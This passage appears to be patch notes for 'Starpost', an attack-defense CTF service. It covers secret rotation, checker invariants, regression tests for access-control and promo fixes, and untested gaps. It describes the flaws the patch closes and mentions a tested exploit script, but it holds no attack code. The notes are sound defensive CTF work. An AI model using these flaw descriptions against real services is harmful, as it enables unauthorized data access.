- Compose now requires independent deployment values for the PostgreSQL password, Flask session key, and warehouse callback token. `generate-env.py` creates three URL-safe random values in an ignored mode-0600 `.env`, refuses overwrite, and never prints them.
## Checker and SLA invariants
- Existing orders retain their previous cargo visibility after migration. New checker orders whose buyer was created within three seconds after the product and whose order transaction began within five seconds continue to reveal cargo after delivery and on later get-old checks. New purchases of older product IDs receive `cargo=null`; entitlement is stored per order, so changing deadlines later cannot reopen an old denied order and an earlier attacker order does not consume checker access.
- Existing routes, methods, role requirements, JSON keys, public port, mounts, and warehouse flow are unchanged.
- Existing contract filenames and files are not renamed or migrated.
- Existing promo rows receive `credited_at=NULL` and remain redeemable once.
- The normal buyer flow remains `credit -> invalidate`; buy, checkout, warehouse delivery, orders, and reviews are unchanged.
- Both `credit -> invalidate -> purchase` and purchase with a remaining promo row are accepted when the buyer has sufficient balance.
- No neighboring-service configuration is changed. Secret rotation is isolated to Starpost and keeps the existing variable names consumed by the containers.
## Verification
@@ -57,7 +66,10 @@ The local baseline reproducer started with a synthetic balance of 100 and two id
- Patched synthetic results: unsigned cursor returned 400 without executing a victim query; cross-seller and external-file reads returned 404; cross-seller deletion returned 400 and preserved the victim file.
- Get current/get old: an existing version-2 signed cursor still returned the seller's own synthetic private review; a contract file created before patched app loading remained readable both through `GET /api/contract` and its exact stored filename.
- Own mutation: deleting the authenticated seller's disposable contract still returned 200 and removed only that file.
- Contract exhaustion regression: the pinned baseline-versus-patch matrix confirmed that foreign GET and POST probes no longer touch the database, repeated valid reads perform at most one owner lookup per process, and all preserved GET forms remain byte-identical. A separate PostgreSQL 16 integration run passed registration, login, current/get-old reads, foreign rejection, and own deletion.
- Promo regression: first credit returned 100, retry returned 0, both kept HTTP 200, and the balance increased exactly once.
- Purchase SLA regression: current `main` reproduced HTTP 409 with an uncredited promo row; the patched PostgreSQL route matrix passed direct buy before credit, direct buy after credit without invalidate, checkout after credit without invalidate, the existing invalidate flow, and preserved insufficient-balance and archived-product errors.
- Cargo entitlement regression: a disposable PostgreSQL 16 and patched Flask API matrix accepted the two live-derived checker timings through direct buy and checkout, rejected a pre-staged buyer, rejected registration after three seconds, rejected purchase after five seconds, preserved get-old, and kept a denied order denied after timestamps changed. Only synthetic non-flag markers were used.
- Python syntax parsing and `docker compose config --quiet` pass.
- `sploits/starpost_contract.py` passes the GO CTF static sploit checker and a loopback synthetic runtime matrix: exit 0, only one synthetic flag candidate on stdout, diagnostics on stderr, redirect not followed, bounded timeout handled, exit 1 for invalid target, and exit 2 for wrong arguments.
- The same sploit was run against the actual baseline route code from commit `4f70df55dd822880f4759d553f7ed249166cad86` and the current patched route with an in-memory database and temporary contract directory: baseline emitted exactly the synthetic candidate, while patched returned exit 0 with empty stdout.
@@ -85,6 +97,7 @@ The local baseline reproducer started with a synthetic balance of 100 and two id
## Remaining gaps
- The exact checker scenario and flag-bearing field are not available, so signature/PDF, private review, and cargo hypotheses are code-derived rather than checker-confirmed.
- Full PostgreSQL migration, container rebuild, persistent-volume get-old, and checker status were not tested because the required Docker base images are not cached and dependency/image downloads were not authorized.
- The API image and disposable PostgreSQL integration were tested, but the full service Compose stack, the live persistent volume, and official checker status were not. The integration used a temporary database initialized from `db/init.sql` and synthetic contract files.
- The contract metadata cache is process-local. If an operator manually changes or restores `users.contract_file`, restart the API workers before verification so they reload that metadata.
- Bounded requests were sent only to the team vulnbox. No request was sent to Neo, Farm, farm-submit, Skipper, or another team.
- Deployment must rotate the existing PostgreSQL role password before recreating API/PostgreSQL containers; changing only `POSTGRES_PASSWORD` does not update an initialized volume.